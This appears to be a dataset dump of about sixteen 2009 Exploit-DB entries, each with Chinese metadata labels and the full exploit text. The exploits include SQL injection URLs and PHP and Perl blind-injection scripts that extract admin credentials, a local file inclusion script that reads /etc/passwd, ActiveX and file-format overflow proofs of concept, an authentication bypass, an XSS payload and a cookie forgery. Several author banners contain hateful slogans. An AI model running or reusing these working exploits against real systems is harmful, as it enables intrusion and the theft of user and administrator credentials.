QLWD/code_shield huggingface dataset:
标题: Wazzum Dating Software - 'userid' SQL Injection EDB-ID: 7877 CVE: 2009-0293 类型: WEBAPPS 平台: PHP 发布日期: 2009-01-26 漏洞利用脚本: #Wazzum Dating Software (userid) SQL Injection Vulnerability


#Author: nuclear


#site:
http://www.wazzum.com/


#vuln:
http://localhost/[path]/profile_view.php?userid=-1 union select 1,2,3,4,5,@@version /*


#demo:
http://www.wazzum.com/dating_demo/profile_view.php?userid=-1%20union%20select%201,2,3,4,5,@@version%20/*


#greetz Mi4night, zYzTeM, THE_MAN, Pepe, I-O-W-A, Digitalfortress, DiGitalX, sys32-hack, sys32r, Whitestar

# milw0rm.com [2009-01-26] URL: https://www.exploit-db.com/exploits/7877
标题: MW6 Barcode - ActiveX 'Barcode.dll' Remote Heap Overflow (PoC) EDB-ID: 7869 CVE: 2009-0298 类型: DOS 平台: WINDOWS 发布日期: 2009-01-26 漏洞利用脚本: <html>
----------------------------------------------------------- <br/>
Author : Houssamix               <br/>
----------------------------------------------------------- <br/>
MW6 Barcode ActiveX (Barcode.dll) Reamote Heap Overflow Poc <br/>
----------------------------------------------------------- <br/>
<!--

http://www.mw6tech.com/download.html

Report for Clsid: {14D09688-CFA7-11D5-995A-005004CE563B}  
RegKey Safe for Script: Faux          
RegKey Safe for Init: Faux          
Implements IObjectSafety: Vrai          
IDisp Safe:  Safe for untrusted: caller,data      
IPersist Safe:  Safe for untrusted: caller,data       
IPStorage Safe:  Safe for untrusted: caller,data       

Registers:               
--------------------------------------------------     
EIP 00B5294E              
EAX 41414141 <====                  
EBX 00038660               
ECX 00FA1EF8                
EDX 00030608               
EDI 00000000             
ESI 00FA1EF8                
EBP 0013F2A0               
ESP 0013F278 

Block Disassembly: 
--------------------------------------------------
B5294E MOV ECX,[EAX]   <--- CRASH           
-->

<object classid='clsid:14D09688-CFA7-11D5-995A-005004CE563B' id='target' ></object>
<script language='vbscript'>


arg1=String(1050, "A")

target.Supplement = arg1

</script>

# milw0rm.com [2009-01-26] URL: https://www.exploit-db.com/exploits/7869
标题: SHOP-INET 4 - 'grid' SQL Injection EDB-ID: 7874 CVE: 2009-0292 类型: WEBAPPS 平台: PHP 发布日期: 2009-01-26 漏洞利用脚本: # SHOP-INET V.4 Exploit
# Author: FeDeReR
# Home : Hacking.ge & darkc0de.com
# Email : FeDeReR@avoe.ge

#############################################

Exploit : target.com/show_cat2.php?grid=-1+union+select+concat_ws(char(58),username,password)+from+admin

Example :http://shop-inet.ru/shop/show_cat2.php?grid=-1+union+select+concat_ws(char(58),username,password)+from+admin

Admin CP: target/admin/

d0rk: inurl:show_cat2.php?grid=

official site: http://shop-inet.ru/

############################################

# milw0rm.com [2009-01-26] URL: https://www.exploit-db.com/exploits/7874
标题: SiteXS CMS 0.1.1 - Local File Inclusion EDB-ID: 7879 CVE: 2009-0371 类型: WEBAPPS 平台: PHP 发布日期: 2009-01-26 漏洞利用脚本: # --+++==========================================================+++--
# --+++====== SiteXS <= 0.1.1 Local File Inclusion Exploit ======+++--
# --+++==========================================================+++--


#!/usr/bin/perl

use strict;
use warnings;
use IO::Socket;

sub usage ()
{
 die "\n\nSiteXS <= 0.1.1 Local File Inclusion Exploit".
     "\n[+] Author  : darkjoker".
     "\n[+] Site    : http://darkjoker.net23.net".
     "\n[+] Download: http://heanet.dl.sourceforge.net/sourceforge/sitexs/sitexs-0.1.1.tar.gz".
     "\n[+] Usage   : perl ${0} <hostname> <path> <file>".
     "\n[+] Ex.     : perl ${0} localhost /SiteXS /etc/passwd".
     "\n[+] Notes   : Have fun\n\n";
}

my ($host, $path, $file) = @ARGV;

usage if (!$file);

my $sock = new IO::Socket::INET (
 PeerHost => $host,
 PeerPort => 80,
 Proto    => "tcp",
);

my $up = "../"x10;

$file =~ s/^\/// if ($file =~ /^\//);

my $varz = "type=${up}${file}%00";

my $post = "POST ${path}/post.php HTTP/1.1\r\n".
 "Host: ${host}\r\n".
 "Connection: Close\r\n".
 "Content-Type: application/x-www-form-urlencoded\r\n".
 "Content-Length: " . length ($varz) . "\r\n\r\n".
 $varz;

print $sock $post;

my $w = 0;

while (<$sock>)
{
 $w = 1 if ($w < 0);
 $w = -1 if ($_ =~ /Content-Type: text\/html/);
 $w = 0 if ($_ =~ /<br \/>/);
 print $_ if ($w == 1);

}

print "\n\n";

close ($sock);

# milw0rm.com [2009-01-26] URL: https://www.exploit-db.com/exploits/7879
标题: Script Toko Online 5.01 - SQL Injection EDB-ID: 7873 CVE: 2009-0296 类型: WEBAPPS 平台: PHP 发布日期: 2009-01-26 漏洞利用脚本: +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Scripts         : Script Toko Online Vs.5.01
Scripts site    : http://www.gempar.com/
Discovered By   : k1n9k0ng
My Site         : http://www.sekuritionline.net
IRC Channel     : #sekuritionline
Special To      : adhietslank, cyberlog, cah_gemblunkz, jayoes, thesims, setiawan, fl3xu5, k1tk4t
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Demo Site :
http://www.gempar.com/demotoko/

Bug Found:
http://www.gempar.com/demotoko/shop_display_products.php?cat_id=-1 union select concat(email,0x3a,password),1,2,3,4,5,6,7 from naxtor_cart_store_customer/*

# milw0rm.com [2009-01-26] URL: https://www.exploit-db.com/exploits/7873
标题: ClickAuction - Authentication Bypass EDB-ID: 7880 CVE: 2009-0297 类型: WEBAPPS 平台: PHP 发布日期: 2009-01-26 漏洞利用脚本: [â˜¢] â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢{Ø¨Ø³Ù… Ø§Ù„Ù„Ù‡ Ø§Ù„Ø±Ø­Ù…Ù† Ø§Ù„Ø±Ø­ÙŠÙ…}â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢


[â˜ ]
[~] Tybe:(Auth Bypass) Remote SQL Injection Vulnerability

[â˜ ]

[~] Vendor: ClickAuction

[â˜ ]
[â˜ ] Software: ClickAuction

[â˜ ]
[â˜ ] author: ((Ñ3d D3v!L))


[â˜ ]
[â˜ ] Date: 26.1.2009


[â˜ ]
[â˜ ] Home: www.ahacker.biz

[â˜ ]
[â˜ ] contact: N/A



[â˜ ]â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ {DEV!L'5 of SYST3M}â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ 


[â˜ ] Exploit:



[â˜ ] username: r0' or ' 1=1--


[â˜ ] password: r0' or ' 1=1--




[â˜ ]login 4 d3m0:



[â˜ ]www.clicktech.com/clickauction/login.asp

N073:
FUCKEN !SRAEL DON'T FORGET ((â˜ HETLARâ˜ ))

GOD HELP GAZA!!

[~]-----------------------------{str0ke}---------------------------------------------------

[~] Greetz tO: {str0ke} & maxmos & EV!L KS@ & hesham_hacker & K374 & M4NON
[~]

[~] spechial thanks : dolly & 7am3m & EL z0hery & SWEET NONO & {str0ke}

[~]

[â˜ ] EV!L !NS!D3 734M --- R3d-D3v!L--EXOT!C --poison scorbion --samakiller

[~]

[~] xp10.biz & ahacker.biz

[~]


[~]--------------------------------------------------------------------------------

Get news, entertainment and everything you care about at Live.com. Check it out!

# milw0rm.com [2009-01-26] URL: https://www.exploit-db.com/exploits/7880
标题: FlexCell Grid Control 5.6.9 - Remote File Overwrite EDB-ID: 7868 CVE: 2009-0301 类型: REMOTE 平台: WINDOWS 发布日期: 2009-01-26 漏洞利用脚本: <HTML>
<BODY>

<b>   
 Author : Houssamix    <br/>  <br/>  <br/>

 FlexCell Grid Control 5.6.9 Remote File Overwrite Exploit  <br/>
 
 ExportToXML() is vuln to <br/>

<b/>


<object id=hsmx classid="clsid:{2A7D9CCE-211A-4654-9449-718F71ED9644}"></object>

<SCRIPT>
/*
Report for Clsid: {2A7D9CCE-211A-4654-9449-718F71ED9644}
RegKey Safe for Script: Faux
RegKey Safe for Init: Faux
Implements IObjectSafety: Vrai
IDisp Safe:  Safe for untrusted: caller,data  
IPersist Safe:  Safe for untrusted: caller,data  
IPStorage Safe:  Safe for untrusted: caller,data  
*/
function hehe()
 {
     File = "c:\\hsmx.txt"
   hsmx.SaveFile(File)
 }

</SCRIPT>
<input language=JavaScript onclick=hehe() type=button value="execute exploit"><br>
</body>
</HTML>

# milw0rm.com [2009-01-26] URL: https://www.exploit-db.com/exploits/7868
标题: PHP-CMS 1 - 'Username' Blind SQL Injection EDB-ID: 7876 CVE: 2009-0407 类型: WEBAPPS 平台: PHP 发布日期: 2009-01-26 漏洞利用脚本: --+++===================================================+++--
--+++====== PHP-CMS 1 Blind SQL Injection Exploit ======+++--
--+++===================================================+++--

<?php

function query ($user, $pos, $chr)
{
 $query = "x' OR IF((ASCII(SUBSTRING((SELECT password FROM ".
   "admin WHERE username='{$user}'),{$pos},1))={$chr}),BENCHMARK".
   "(100000000,CHAR(0)),0) OR '1' = '2";

 return $query;
}

function exploit ($hostname, $path, $user, $pos, $chr)
{
 $chr = ord ($chr);

 $fp = fsockopen ($hostname, 80);

 $post = "username=".query ($user, $pos, $chr) . "&password=x&Submit=ok";
 
 $req =  "POST {$path}/admin/login.php HTTP/1.1\r\n".
  "Host: {$hostname}\r\n".
  "Connection: Close\r\n".
  "Content-Type: application/x-www-form-urlencoded\r\n".
  "Content-Length: " . strlen ($post) . "\r\n\r\n".
  $post;
 
 fputs ($fp, $req);

 $start = time ();
 while (!feof ($fp))
  fgets ($fp, 1024);
 
 $end = time ();

 fclose ($fp);

 if ($end - $start > 4)
  return true;
 else
  return false;
 
}

function usage ()
{
 echo
  "\nPHP-CMS 1 Blind SQL Injection Exploit".
  "\n[+] Author  : darkjoker".
  "\n[+] Site    : http://darkjoker.net23.net".
  "\n[+] Download: http://heanet.dl.sourceforge.net/sourceforge/php-cms-project/phpcms.zip".
  "\n[+] Usage   : php xpl.php <hostname> <path> <username> [<keylist>]".
  "\n[+] Ex.     : php xpl.php localhost /PHPCMS admin abcdefghijklmnopqrstuvwxyz".
  "\n[+] Greetz  : my girlfriend, Vivi".
  "\n\n";
 exit ();
}



if ($argc < 3)
 usage ();

$hostname = $argv [1];
$path = $argv [2];
$user = $argv [3];
$key = (empty ($argv [4])) ? "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" : $argv [4];
$pos = 1;
$chr = 0;

echo "[+] Password: ";
while ($chr < strlen ($key))
{
 if (exploit ($hostname, $path, $user, $pos, $key [$chr]))
 {
  echo $key [$chr];
  $chr = 0;
  $pos++;
 }
 else
  $chr++;
}

echo "\n\n";

?>

# milw0rm.com [2009-01-26] URL: https://www.exploit-db.com/exploits/7876
标题: Flax Article Manager 1.1 - 'cat_id' SQL Injection EDB-ID: 7862 CVE: 2009-0284 类型: WEBAPPS 平台: PHP 发布日期: 2009-01-25 漏洞利用脚本: -------------------------------------------------------------------------

  --          JIKO FroM No-exploit.Com        ---

-------------------------------------------------------------------------

# Author  : jiko

# email  : jalikom@hotmail.com

# Home   : www.no-exploit.Com

# Script  : http://www.clixint.com/products/articles -->Article Manager -->Price: $99 USD
              $99*10 Dh(maroc)=990Dh=19800 Real maghribi
# Dork: Copyright 2006 Â© Flax Article Manager v1.1

=========================[JAWAD Cha7ta 4 ever]===================

# Exploit  :

               http://no-exploit.com

            Demo:    

 http://www.articlesitedemo.com/category.php?cat_id=3%20and%201=0%20union%20select%200,1,user(),3,4,5--
 http://www.articlesitedemo.com/category.php?cat_id=3%20and%201=0%20union%20select%200,1,version(),3,4,5-- (V 4 :) )
 

Top: ( R07 T9awwad ) To str0ke & Milw0rM

 Cyber-Zone CHof Lfo9

=========================[Thanks To Allah ]===================
 Ma3aki ya GaZa Ø±Ø­Ù… Ø§Ù„Ù„Ù‡ Ø´Ù‡Ø¯Ø§Ø¦Ùƒ


 greetz : all my friend and all No-exploit members and

 $ cyber-zone $ leopard $ Hassin X

 all muslims

 cyber-zone Wald Bladi B7al Khoya
-------------------------------------------------------------------------

  --          JIKO FroM No-exploit.Com        ---

-------------------------------------------------------------------------

------==        troops of Mohamed comming inchalah      =-----------------

Ana muslim , Ana 3arabi , Ana Magribi , bladi maroc

# milw0rm.com [2009-01-25] URL: https://www.exploit-db.com/exploits/7862
标题: ITLPoll 2.7 Stable2 - Blind SQL Injection EDB-ID: 7867 CVE: 2009-0295 类型: WEBAPPS 平台: PHP 发布日期: 2009-01-26 漏洞利用脚本: <?php

function usage ()
{
    echo "\nITLPoll v2.7 Stable2 Blind SQL Injection Exploit".
         "\n[â˜¢] Usage   : ./itlpoll.php hostname path <username or password>".
         "\n[â˜¢] Ex : ./itlpoll.php localhost /itlpoll password".
  "\n\n";
    exit ();
}


function query ($func, $chr, $pos)
{   //replace 1' with a valid poll number if you have problems. See hostname/path/?Archive for a list of polls.
    $query = "1' AND ORD(MID((SELECT IFNULL(CAST({$func} AS CHAR(10000)), CHAR(32)) FROM itl_config WHERE id = 1),{$pos},1))='{$chr}";
    $query = str_replace (" ", "%20", $query);
    $query = str_replace ("'", "%27", $query);
    return $query;
}

function exploit ($host, $path, $func, $pos, $chr)
{
    $chr = ord ($chr);
    $fp = fsockopen ($host, 80);
    $query = query ($func, $chr, $pos);
    $request = "GET {$path}/index.php?id={$query} HTTP/1.1\r\n".
           "Host: {$host}\r\n".
           "Connection: Close\r\n\r\n";
    
    fputs ($fp, $request);
    while (!feof ($fp))
        $reply .= fgets ($fp, 1024);
    
    fclose ($fp);

    if (preg_match ("/EXPIERED/", $reply))
        return false;
    else
        return true;
}


if ($argc != 4)

    usage ();

$host = $argv [1];
$path = $argv [2];
$func = $argv [3];
$key = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"; //add a bigger char set if you can't get the username
$pos = 1;
$chr = 0;

echo "[â˜¢] Creds: ";

while ($pos <= 32)
{
    if (exploit ($host, $path, $func, $pos, $key [$chr]))
    {
        echo $key [$chr];
        $chr = 0;
        $pos++;
    }
    else
        $chr++;
}
echo "\n";
?>

# milw0rm.com [2009-01-26] URL: https://www.exploit-db.com/exploits/7867
标题: OpenGoo 1.1 - Local File Inclusion EDB-ID: 7863 CVE: 2009-0286 类型: WEBAPPS 平台: PHP 发布日期: 2009-01-25 漏洞利用脚本: OpenGoo 1.1 Local File Inclusion
http://www.opengoo.org/

magic_quotes_gpc = Off
register_globals = On

http://site/opengoo/public/upgrade/index.php
POST: form_data[script_class]=/../../../../../../../../../../../etc/passwd%00.html

Author Notified: Jan. 18

http://nukeit.org

# milw0rm.com [2009-01-25] URL: https://www.exploit-db.com/exploits/7863
标题: Merak Media Player 3.2 - '.m3u' File Local Buffer Overflow (PoC) EDB-ID: 7857 CVE: 2009-0350 类型: DOS 平台: WINDOWS 发布日期: 2009-01-25 漏洞利用脚本: #!/usr/bin/perl -w

# Author : Houssamix

# Merak Media Player V3.2  m3u file Local Buffer overflow (SEH) 
# Download :  http://www.qwerks.com/download/3748/merak.zip

# --------------------------------------------
# EAX 00000000
# ECX 45454545
# EDX 7C9137D8 ntdll.7C9137D8
# EBX 00000000
# ESP 0013F784
# EBP 0013F7A4
# ESI 00000000
# EDI 00000000
# EIP 45454545

# 0013FBE4   42424242  Pointer to next SEH record
# 0013FBE8   45454545  SE handler
# ---------------------------------------------

print "===================================================================== \n";
print "Author : Houssamix            \n";
print "===================================================================== \n";
print "Merak Media Player V3.2  m3u file Local Buffer overflow (SEH)    \n";
print "===================================================================== \n";

my $buf = "\x42" x 78;
my $seh = "\x45\x45\x45\x45";
my $buff = "\x43" x 1120;
my $file="hsmx.m3u";
$exploit = $buf.$seh.$buff;
open(my $FILE, ">>$file") or die "Cannot open $file: $!";
print $FILE $exploit ;
close($FILE);
print "$file has been created \n";

# milw0rm.com [2009-01-25] URL: https://www.exploit-db.com/exploits/7857
标题: Joomla! Component beamospetition 1.0.12 - SQL Injection / Cross-Site Scripting EDB-ID: 7847 CVE: 2009-0378 2009-0377 类型: WEBAPPS 平台: PHP 发布日期: 2009-01-21 漏洞利用脚本: Joomla component beamospetition 1.0.12 Sql Injection / Xss

Author : vds_s

Dork : "Powered by beamospetition 1.0.12"

Dl : http://joomlacode.org/gf/project/beamospetition/

Xss : http://[site]/?option=com_beamospetition&func=sign&pet='><script>alert('Xss')</script>

Sql Injection : http://[site]/?option=com_beamospetition&func=sign&mpid=-9999'%20union%20select%200,1,username,password,4,5,6,7,8,9,10,11,12,13,14,15%20from%20jos_users/* 

# milw0rm.com [2009-01-21] URL: https://www.exploit-db.com/exploits/7847
标题: asp-project 1.0 - Insecure Cookie Method EDB-ID: 7850 CVE: 2009-0280 类型: WEBAPPS 平台: ASP 发布日期: 2009-01-22 漏洞利用脚本: #####################################################################################
####                        Asp-project Cookie Handling                          ####
#####################################################################################
#                                                                                   #
#AUTHOR : Sina Yazdanmehr (R3d.W0rm)                                                #
#Discovered by : Sina Yazdanmehr (R3d.W0rm)                                         #
#Our Site : http://ircrash.com                                                      #
#My Official WebSite : http://r3dw0rm.ir                                            #
#IRCRASH Team Members : Khashayar Fereidani - R3d.w0rm (Sina Yazdanmehr)            #
#####################################################################################
#                                                                                   #
#Download : http://www.sourceforge.net/projects/asp-project                         #
#                                                                                   #
#Dork : :(                                                                          #
#                                                                                   #
#####################################################################################
#                                      [Bug]                                        #
#                                                                                   #
#javascript:document.cookie = "crypt=1; path=/";                                    #
#                                                                                   #
###################################### TNX GOD ######################################

# milw0rm.com [2009-01-22] URL: https://www.exploit-db.com/exploits/7850
标题: Joomla! Component Com BazaarBuilder Shopping Cart 5.0 - SQL Injection EDB-ID: 7840 CVE: 2009-0381 类型: WEBAPPS 平台: PHP 发布日期: 2009-01-21 漏洞利用脚本: #!/usr/bin/perl -w
#Joomla component: BazaarBuilder Shopping Cart Software v.5.0 sql injection#
########################################
#[+] Author : XaDoS
#[+] Contact me: www.securitycode.it // xados [at] hotmail [dot] it
#[+] Greetz : Plucky - Str0ke - GsC - boom3rang - My girl ;-)
#[+] Module_Name: BazaarBuilder Ecommerce Shopping Cart Software v. 5.0
#[+] Script_Name: Joomla
#[+] Dork: find it XD
########################################
print "\t\t-------------------------------------------------------------\n\n";
print "\t\t|                  ---||> X:A:D:O:S <||---                    |\n\n";
print "\t\t-------------------------------------------------------------\n\n";
print "\t\t|Joomla Module com_prod <= Remote SQL Injection Vuln|\n\n";
print "\t\t| XaDoS ~ www.securitycode.it |\n\n";
print "\t\t-------------------------------------------------------------\n\n";
use LWP::UserAgent;
print "\nEnter the url of vuln site[http://wwww.example.com]: ";
chomp(my $target=<STDIN>);
$column_name="concat(username,char(58),password)";
$table_name="jos_users";
$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
$host = $target . "/index.php?option=com_prod&task=products&cid=-9999%20union%20all%20select%201,2,3,".$column_name.",5,6,7,8,9,10,11,12,13,14,15,16,17,18%20from/**/".$table_name."+/*+";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/([0-9a-fA-F]{32})/){
print "\n[+] Admin Hash : $1\n\n";
print "||> Exploit done! ;-) <||\n\n";
}
else{print "\n||> Exploit failed! :-( <||\n";
}

# milw0rm.com [2009-01-21] URL: https://www.exploit-db.com/exploits/7840
标题: FTPShell Server 4.3 - Licence Key Remote Buffer Overflow (PoC) EDB-ID: 7852 CVE: 2009-0349 类型: DOS 平台: WINDOWS 发布日期: 2009-01-22 漏洞利用脚本: #!/usr/bin/perl
#
# Title: FTPShell Server 4.3 (licence key) Remote Buffer Overflow PoC
#
# Summary: FTPShell server is a windows FTP service that enables remote file downloads and uploads.
# It supports regular and secure FTP based on both SSL/TLS and SSH2. It is also extremely easy to
# configure and use.
#
# Product web page: http://www.ftpshell.com/index.htm
#
# Desc: FTPShell Server 4.3 suffers from buffer overflow vulnerability that can be exploited remotely or localy.
# It fails to perform adequate boundry condition of the input .key file, allowing us to overwrite the EAX and EDX
# registers. When trying to install licence with less than 8000 bytes we get a message: "It appears that your key
# file is corrupt or invalid.", but when installing a licence with 8000 bytes we get a message: "Your licence key
# has been succesfully loaded. Please restart the program."
#
# Note: When you restart the program, it will always crash untill you repair it or reinstall it.
#
#
# ---------------------------------WinDbg-------------------------------------
#
# (1178.1d4): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# eax=41414141 ebx=00b159c0 ecx=00b159c0 edx=41414141 esi=00b1c630 edi=00000005
# eip=004039a0 esp=0012f3bc ebp=00000000 iopl=0         nv up ei pl nz na pe nc
# cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
# 
# ftpshelldscp+0x39a0:
# 004039a0 ff5210          call    dword ptr [edx+10h]  ds:0023:41414151=????????
#
# ----------------------------------------------------------------------------
#
#
# Tested on Microsoft Windows XP Professional SP2 (English)
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#
# liquidworm [t00t] gmail [w00t] com
#
# http://www.zeroscience.org
#
# 22.01.2009
#
####################################################################################


$file = "Yes_Man.key";

$payload = "\x41" x 8000; 

print "\n\n[-] Buffering malicious playlist file. Please wait...\r\n";

sleep (1);

open (key, ">./$file") || die "\nCan't open $file: $!";

print key "$payload";

close (key);

print "\n\n[+] File $file successfully created!\n\n\a";

# milw0rm.com [2009-01-22] URL: https://www.exploit-db.com/exploits/7852
标题: Pardal CMS 0.2.0 - Blind SQL Injection EDB-ID: 7851 CVE: 2009-0279 类型: WEBAPPS 平台: PHP 发布日期: 2009-01-22 漏洞利用脚本: --+++=============================================================+++--
--+++====== Pardal CMS <= 0.2.0 Blind SQL Injection Exploit ======+++--
--+++=============================================================+++--

<?php

function usage ()
{
    echo "\nPardal CMS <= 0.2.0 Blind SQL Injection Exploit".
         "\n[+] Author  : darkjoker".
         "\n[+] Site    : http://darkjoker.net23.net".
         "\n[+] Download: http://tinyurl.com/csg4vt".
         "\n[+] Usage   : php xpl.php <hostname> <path> <username>".
         "\n[+] Ex.     : php xpl.php localhost /PardalCMS Admin".
         "\n\n";
    exit ();
}


function query ($user, $chr, $pos)
{
    $query = "x' OR ASCII(SUBSTRING((SELECT senha FROM users WHERE login = '{$user}'),{$pos},1))='{$chr}";
    $query = str_replace (" ", "%20", $query);
    $query = str_replace ("'", "%27", $query);
    return $query;
}

function exploit ($hostname, $path, $user, $pos, $chr)
{
    $chr = ord ($chr);
    $fp = fsockopen ($hostname, 80);
    $query = query ($user, $chr, $pos);
    $request = "GET {$path}/comentar.php?id={$query} HTTP/1.1\r\n".
           "Host: {$hostname}\r\n".
           "Connection: Close\r\n\r\n";
    
    fputs ($fp, $request);
    while (!feof ($fp))
        $reply .= fgets ($fp, 1024);
    
    fclose ($fp);

    if (preg_match ("/\"#FFFFFF\"> em <\/font>/", $reply))
        return false;
    else
        return true;
}

if ($argc != 4)
    usage ();

$hostname = $argv [1];
$path = $argv [2];
$username = $argv [3];
$key = "abcdef0123456789";
$pos = 1;
$chr = 0;

echo "[+] Password: ";

while ($pos <= 32)
{
    if (exploit ($hostname, $path, $username, $pos, $key [$chr]))
    {
        echo $key [$chr];
        $chr = 0;
        $pos++;
    }
    else
        $chr++;
}

echo "\n\n";

?>

# milw0rm.com [2009-01-22] URL: https://www.exploit-db.com/exploits/7851